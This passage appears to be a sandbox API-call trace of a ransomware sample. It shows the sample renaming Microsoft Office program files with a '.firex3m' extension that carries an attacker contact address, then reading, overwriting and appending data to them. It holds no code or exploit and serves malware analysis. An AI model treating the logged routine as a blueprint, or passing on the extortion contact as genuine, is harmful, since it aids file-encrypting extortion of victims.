lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xee45f66d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee45f66d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5c847440, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x112c94, dwReserved0=0xad47496, dwReserved1=0x6faaf18, cFileName="msmdsrvi.rll.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSMDSR~1.FIR")) returned 0x6d5040 [0254.430] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0254.431] Sleep (dwMilliseconds=0x1) [0254.460] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd", len=0x62 | out: pbstr=0x5fbff7c*="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd") returned 1 [0254.460] GetProcessHeap () returned 0x630000 [0254.460] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4dec) returned 0x6fe3bb0 [0254.460] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.BingSports_4.6.169.0_x86__8wekyb3d8bbwe\\SQLiteWrapper.winmd" (normalized: "c:\\program files\\windowsapps\\microsoft.bingsports_4.6.169.0_x86__8wekyb3d8bbwe\\sqlitewrapper.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.461] Sleep (dwMilliseconds=0x1) [0255.822] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG", len=0x6c | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG") returned 1 [0255.822] GetProcessHeap () returned 0x630000 [0255.822] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4d10) returned 0x6fe3bb0 [0255.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0257.656] CloseHandle (hObject=0x6d8) returned 1 [0257.656] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0257.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0257.657] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0257.657] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27b5591d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4c1d, dwReserved0=0x6f0063, dwReserved1=0x74006e, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f00 [0257.657] FindClose (in: hFindFile=0x6d4f00 | out: hFindFile=0x6d4f00) returned 1 [0257.657] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\iris\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0257.657] GetProcessHeap () returned 0x630000 [0257.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c21) returned 0x726fa50 [0257.657] GetProcessHeap () returned 0x630000 [0257.657] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x4c21) returned 0x745c8a0 [0257.657] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0257.658] ReadFile (in: hFile=0x6d8, lpBuffer=0x726fa50, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x726fa50*, lpNumberOfBytesRead=0x5fbff0c*=0x4c00, lpOverlapped=0x0) returned 1 [0259.189] GetProcessHeap () returned 0x630000 [0259.189] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0259.189] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.189] WriteFile (in: hFile=0x6d8, lpBuffer=0x745c8a0*, nNumberOfBytesToWrite=0x4c00, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x745c8a0*, lpNumberOfBytesWritten=0x5fbff0c*=0x4c00, lpOverlapped=0x0) returned 1 [0259.189] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.190] WriteFile (in: hFile=0x6d8, lpBuffer=0x746149f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x746149f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0259.190] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0259.190] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0259.190] CloseHandle (hObject=0x6d8) returned 1 [0259.190] GetProcessHeap () returned 0x630000 [0259.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x745c8a0 | out: hHeap=0x630000) returned 1 [0259.190] GetProcessHeap () returned 0x630000 [0259.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x726fa50 | out: hHeap=0x630000) returned 1 [0259.190] GetProcessHeap () returned 0x630000 [0259.190] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0261.205] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.205] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\IRIS\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27b5591d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27b5591d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x607037bd, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x4c41, dwReserved0=0xad47496, dwReserved1=0x726fa48, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4f40 [0261.205] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0261.205] Sleep (dwMilliseconds=0x1) [0261.220] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG", len=0x70 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG") returned 1 [0261.220] GetProcessHeap () returned 0x630000 [0261.220] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4c54) returned 0x6fe3bb0 [0261.220] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0261.312] CloseHandle (hObject=0x6d8) returned 1 [0261.312] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0261.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\thmbnail.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0261.504] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0261.504] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x74e5, dwReserved0=0x320031, dwReserved1=0x5b005f, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d4e00 [0261.504] FindClose (in: hFindFile=0x6d4e00 | out: hFindFile=0x6d4e00) returned 1 [0261.504] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\themes16\\capsules\\thmbnail.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x6d8 [0261.505] GetProcessHeap () returned 0x630000 [0261.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7501) returned 0x7453008 [0261.505] GetProcessHeap () returned 0x630000 [0261.505] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x7501) returned 0x75600d0 [0261.506] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0261.506] ReadFile (in: hFile=0x6d8, lpBuffer=0x7453008, nNumberOfBytesToRead=0x74e0, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x7453008*, lpNumberOfBytesRead=0x5fbff0c*=0x74e0, lpOverlapped=0x0) returned 1 [0264.058] GetProcessHeap () returned 0x630000 [0264.058] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317950 [0264.059] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.059] WriteFile (in: hFile=0x6d8, lpBuffer=0x75600d0*, nNumberOfBytesToWrite=0x74e0, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x75600d0*, lpNumberOfBytesWritten=0x5fbff0c*=0x74e0, lpOverlapped=0x0) returned 1 [0264.059] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.059] WriteFile (in: hFile=0x6d8, lpBuffer=0x75675af*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x75675af*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0264.059] SetFilePointerEx (in: hFile=0x6d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0264.059] WriteFile (in: hFile=0x6d8, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0264.059] CloseHandle (hObject=0x6d8) returned 1 [0264.060] GetProcessHeap () returned 0x630000 [0264.060] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x75600d0 | out: hHeap=0x630000) returned 1 [0265.590] GetProcessHeap () returned 0x630000 [0265.590] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7453008 | out: hHeap=0x630000) returned 1 [0265.826] GetProcessHeap () returned 0x630000 [0265.826] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317950 | out: hHeap=0x630000) returned 1 [0265.826] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0265.826] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\THEMES16\\CAPSULES\\THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355ed90, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x7509, dwReserved0=0xad47496, dwReserved1=0x7453000, cFileName="THMBNAIL.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="THMBNA~1.FIR")) returned 0x6d53c0 [0265.826] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0265.826] Sleep (dwMilliseconds=0x1) [0267.920] SysReAllocStringLen (in: pbstr=0x5fbff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF", len=0x45 | out: pbstr=0x5fbff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF") returned 1 [0267.920] GetProcessHeap () returned 0x630000 [0267.920] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b68) returned 0x6fe3bb0 [0267.920] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vineritc.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0267.922] CloseHandle (hObject=0x710) returned 1 [0267.922] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0267.922] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vineritc.ttf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vineritc.ttf.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0267.923] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0267.923] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfc6c | out: lpFindFileData=0x5fbfc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x86a762bd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x197b4, dwReserved0=0x0, dwReserved1=0x0, cFileName="VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VINERI~1.FIR")) returned 0x6d52c0 [0267.923] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0267.923] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\fonts\\private\\vineritc.ttf.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x710 [0267.924] GetProcessHeap () returned 0x630000 [0267.924] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74d6f50 [0267.924] GetProcessHeap () returned 0x630000 [0267.924] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x74e2380 [0267.925] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0267.925] ReadFile (in: hFile=0x710, lpBuffer=0x74d6f50, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74d6f50*, lpNumberOfBytesRead=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.905] GetProcessHeap () returned 0x630000 [0275.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318670 [0275.905] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.905] WriteFile (in: hFile=0x710, lpBuffer=0x74e2380*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74e2380*, lpNumberOfBytesWritten=0x5fbff0c*=0xb400, lpOverlapped=0x0) returned 1 [0275.906] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.906] WriteFile (in: hFile=0x710, lpBuffer=0x74ed77f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x74ed77f*, lpNumberOfBytesWritten=0x5fbff0c*=0x20, lpOverlapped=0x0) returned 1 [0275.906] SetFilePointerEx (in: hFile=0x710, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0275.906] WriteFile (in: hFile=0x710, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x5fbff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x5fbff0c*=0x4, lpOverlapped=0x0) returned 1 [0275.906] CloseHandle (hObject=0x710) returned 1 [0275.906] GetProcessHeap () returned 0x630000 [0275.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74e2380 | out: hHeap=0x630000) returned 1 [0275.906] GetProcessHeap () returned 0x630000 [0275.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x74d6f50 | out: hHeap=0x630000) returned 1 [0275.906] GetProcessHeap () returned 0x630000 [0275.906] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318670 | out: hHeap=0x630000) returned 1 [0275.906] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x5fbef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0275.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\Fonts\\private\\VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x5fbfcc4 | out: lpFindFileData=0x5fbfcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x868f8b70, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868f8b70, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6a671508, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x197d8, dwReserved0=0xad47496, dwReserved1=0x74d6f48, cFileName="VINERITC.TTF.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="VINERI~1.FIR")) returned 0x6d5040 [0275.907] FindClose (in: hFindFile=0x6d5040 | out: hFindFile=0x6d5040) returned 1 [0275.907] Sleep (dwMilliseconds=0x1) Thread: id = 79 os_tid = 0x1338 [0067.703] Sleep (dwMilliseconds=0x1) [0067.825] Sleep (dwMilliseconds=0x1) [0067.936] Sleep (dwMilliseconds=0x1) [0068.041] Sleep (dwMilliseconds=0x1) [0068.149] Sleep (dwMilliseconds=0x1) [0068.281] Sleep (dwMilliseconds=0x1) [0068.395] Sleep (dwMilliseconds=0x1) [0068.497] Sleep (dwMilliseconds=0x1) [0068.541] Sleep (dwMilliseconds=0x1) [0068.702] Sleep (dwMilliseconds=0x1) [0068.743] Sleep (dwMilliseconds=0x1) [0068.796] Sleep (dwMilliseconds=0x1) [0068.838] Sleep (dwMilliseconds=0x1) [0068.888] Sleep (dwMilliseconds=0x1) [0068.930] Sleep (dwMilliseconds=0x1) [0068.980] Sleep (dwMilliseconds=0x1) [0069.043] Sleep (dwMilliseconds=0x1) [0069.109] Sleep (dwMilliseconds=0x1) [0069.154] Sleep (dwMilliseconds=0x1) [0069.202] Sleep (dwMilliseconds=0x1) [0069.245] Sleep (dwMilliseconds=0x1) [0069.297] Sleep (dwMilliseconds=0x1) [0069.373] Sleep (dwMilliseconds=0x1) [0069.439] Sleep (dwMilliseconds=0x1) [0069.479] Sleep (dwMilliseconds=0x1) [0069.527] Sleep (dwMilliseconds=0x1) [0069.691] Sleep (dwMilliseconds=0x1) [0069.917] Sleep (dwMilliseconds=0x1) [0070.148] Sleep (dwMilliseconds=0x1) [0070.261] Sleep (dwMilliseconds=0x1) [0070.384] Sleep (dwMilliseconds=0x1) [0070.532] Sleep (dwMilliseconds=0x1) [0070.871] Sleep (dwMilliseconds=0x1) [0071.567] Sleep (dwMilliseconds=0x1) [0071.944] Sleep (dwMilliseconds=0x1) [0072.428] Sleep (dwMilliseconds=0x1) [0072.608] Sleep (dwMilliseconds=0x1) [0072.798] Sleep (dwMilliseconds=0x1) [0072.908] Sleep (dwMilliseconds=0x1) [0073.097] Sleep (dwMilliseconds=0x1) [0073.291] Sleep (dwMilliseconds=0x1) [0073.697] Sleep (dwMilliseconds=0x1) [0073.931] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.385] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.844] Sleep (dwMilliseconds=0x1) [0074.906] Sleep (dwMilliseconds=0x1) [0074.999] Sleep (dwMilliseconds=0x1) [0075.061] Sleep (dwMilliseconds=0x1) [0075.105] Sleep (dwMilliseconds=0x1) [0075.158] Sleep (dwMilliseconds=0x1) [0075.215] Sleep (dwMilliseconds=0x1) [0075.265] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.514] Sleep (dwMilliseconds=0x1) [0075.567] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.792] Sleep (dwMilliseconds=0x1) [0075.831] Sleep (dwMilliseconds=0x1) [0076.049] Sleep (dwMilliseconds=0x1) [0076.059] Sleep (dwMilliseconds=0x1) [0076.087] Sleep (dwMilliseconds=0x1) [0076.103] Sleep (dwMilliseconds=0x1) 